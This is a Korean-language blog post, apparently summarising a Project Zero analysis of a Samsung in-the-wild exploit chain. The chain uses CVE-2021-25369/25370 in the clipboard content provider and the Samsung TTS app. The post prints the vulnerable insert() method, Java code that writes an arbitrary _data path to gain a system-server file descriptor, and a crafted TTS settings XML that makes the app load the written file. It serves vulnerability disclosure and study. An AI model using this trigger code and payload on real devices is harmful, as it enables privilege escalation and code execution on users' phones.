Samsung 모바일 장치에는 신뢰할 수 없는 응용 프로그램이 임의의 파일을 읽거나 쓸 수 있도록 하는 클립보드 서비스에 부적절한 액세스 제어 취약점이 포함되어 있습니다. 이 취약점은 CVE-2021-25369 및 CVE-2021-25370과 연결되어 있습니다.
정보
Samsung Mobile Devices 부적절한 접근 제어 취약점
추가된 날짜: 2022년 11월 8일
마감일: 2022년 11월 29일
CVSS 3.x 심각도 및 지표
NIST: NVD
기본 점수: 7.1 높음
벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CNA: 삼성 모바일
기본 점수: 4.4 중간
벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
취약점 공격 과정
- 삼성의 Clipboard에
insert()
메소드에 액세스 제어 취약점을 활용하여 시스템 서버 권한을 획득하고 data 및 system 파일 경로에 접근한다.
SELinux system server Context에서 시스템 사용자가 실행하는 삼성의 시스템 서버 내부에는 Clipboard 및 wifi, Timezone dectector 서비스 등이 있다. 시스템 서버에서 실행되는 Clipboard Content Provider는 com.android.server.semclipboard.SemClipboardProvider
Class에서 확인할 수 있다.
해당 클래스의 변수는 아래와 같다. ClipboardImageTable 은 테이블에 대해id
및 _data
두 열을 정의하는데 _data
는 Android Content Provider에서 openFileHelper
메소드를 실행할 때 파일의 경로를 나타낸다.
DATABASE_NAME = ‘clipboardimage.db’
TABLE_NAME = ‘ClipboardImageTable’
URL = ‘content://com.sec.android.semclipboardprovider/images’
CREATE_TABLE = " CREATE TABLE ClipboardImageTable (id INTEGER PRIMARY KEY AUTOINCREMENT, _data TEXT NOT NULL);";
com.android.server.semclipboard.SemClipboardProvider
의 insert()
method의 취약점을 통해서 첫번째 트리거가 발생한다. insert()
에는 액세스 제어에 포함되지 않아 untrusted_app SELinux Context를 포함한 모든 앱은 _data
열을 수정할 수 있다.
SELinux의 TE(Type Enforecement) 컴포넌트는 프로세스, 앱, 서비스 등에 대해 타입 및 속성으로 구분한다. SELinux의 버전 등에 따라 업데이트될 수 있지만 대체적으로 untrusted_app은 애플리케이션의 타입이다.
public Uri insert(Uri uri, ContentValues values) {
long row = this.database.insert(TABLE_NAME, "", values);
if (row > 0) {
Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
getContext().getContentResolver().notifyChange(newUri, null);
return newUri;
}
throw new SQLException("Fail to add a new record into " + uri);
}
아래의 코드로 취약점을 트리거한다. ContentValues object를 생성하여 key-value 쌍을 생성한다. key에는 _data
로 설정하여 익스플로잇되면 임의의 파일 경로인 "/data/system/users/0/newFile.bin" 파일 경로로 설정되도록 한다. 그리고 uri는 semclipboardprovider의 uri로 설정하고 Context Provider에 액세스할 수 있도록 object를 생성한다. 그리고 openFileDescriptor
로 OpenFile
을 호출하고 최종적으로 openFileHelper
를 호출한다. untrusted_app은 users_system_data_file에 접근 권한이 없어 system server를 통해 열어야한다. 그래서 Clipboard Content Provider가 열고 fd(getFd())를 호출 프로세스에 전달해서 호출프로세스로 접근한다.
ContentValues vals = new ContentValues();
vals.put("_data", "/data/system/users/0/newFile.bin");
URI semclipboard_uri = URI.parse("content://com.sec.android.semclipboardprovider")
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, "w").getFd();
- Samsung의 TTS(Text to Speech)앱으로 파일을 로드한다.
삼성의 기본 제공앱인 Samsung TTS 앱(com.samsung.SMT)는 systme_app SELinux Context로 실행된다. 그리고 설정파일에 엔진의 기본 파일 경로가 저장되어있다. 서비스가 시작되면 system.load()가 실행되어 설정된 파일 경로가 로드된다. 기본 앱 설정 파일은 /data/user_de/0/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml
또는 /data/data/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml
에 있다. 1번 익스플로잇과 이어서 아래의 코드와 같이 설정 파일 내용을 쓴다.
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name=\"eng-USA-Variant Info\">f00</string>\n"
<string name=\"SMT_STUBCHECK_STATUS\">STUB_SUCCESS</string>\n"
<string name=\"SMT_LATEST_INSTALLED_ENGINE_PATH\">/data/system/users/0/newFile.bin</string>\n"
</map>
익스플로잇 샘플은 2020년 11월부터 확인되며, SamsunTTS 앱의 버전이 3.0.04.14 이전에 임의 로드 기능이 포함되어있따. 그리고 android 10(Q) 이전의 버전이 samsunTTS 버전 3.0.04.14 이전인 것으로 전해진다.
출처
Project Zero: A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain
No comments:
Post a Comment